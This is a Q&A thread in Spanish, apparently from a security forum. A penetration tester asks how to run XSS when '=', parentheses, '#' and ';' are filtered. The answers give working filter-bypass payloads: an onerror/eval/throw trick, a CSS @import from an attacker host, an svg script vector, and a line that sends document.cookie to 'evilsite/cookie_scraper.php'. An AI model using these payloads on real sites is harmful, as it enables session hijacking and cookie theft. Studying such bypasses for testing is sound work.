Cross Site Scripting sin caracteres especiales

21

Estoy probando una aplicación web y encontré una vulnerabilidad XSS. Puedo romper una etiqueta e inyectar algo de código a la aplicación, pero nada potencialmente peligroso para el cliente.

La aplicación tiene un filtro que detecta caracteres especiales y algunas cadenas, también puedo omitir el filtro para el reconocimiento de cadenas inyectando valores nulos (< scr% 00ipt >) entre sus caracteres, pero no puedo entender cómo para evitarlo por un solo carácter.

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

El filtro no usa conversión de caracteres y cuando se detecta algo no permitido, muestra un mensaje de error: Se detectaron parámetros no válidos

Tal vez me esté perdiendo algo, pero hoy no veo cómo ejecutar javascript en estas condiciones. ¿Alguna idea?

    
pregunta Nucklear 29.05.2013 - 15:53
fuente

3 respuestas

23

Sí, esto es posible. Hay un truco que puedes hacer con onerror :

<img src=x onerror=eval;throw'=alert\x281\x29';>

El throw genera una cadena de JavaScript que luego se pasa nuevamente a eval porque el throw constituye un error. Esto te da una inyección arbitraria completa de JavaScript.

Bien, entonces dices que no podemos usar un signo igual. En su lugar, sugiero este truco:

"><style>@import'http://evil.example.com/xss.css';</style>

Esto incluye un archivo CSS de terceros en la página. Desde allí puedes lanzar JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

También hay otros trucos que puedes usar para obtener la ejecución de JavaScript desde CSS.

    
respondido por el Polynomial 29.05.2013 - 16:14
fuente
19

Bloquear paréntesis es extraño, no tengo conocimiento de ningún ataque que evite esto. XSS sin paréntesis es posible .

Para los navegadores que support svg :

<svg>
    <script>alert&#40/1/.source&#41</script>
</svg>

Si solo quieres un PoC simple, esto debería funcionar:

<script>onerror=alert;throw 1;</script>

Pero un exploit del mundo real no requiere paréntesis:

document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
    
respondido por el rook 29.05.2013 - 16:10
fuente
2

Truco simple con VBScript: <input onfocus=vbs:msgbox+1> [funciona en IE]

    
respondido por el satishb3 04.06.2013 - 13:31
fuente

Lea otras preguntas en las etiquetas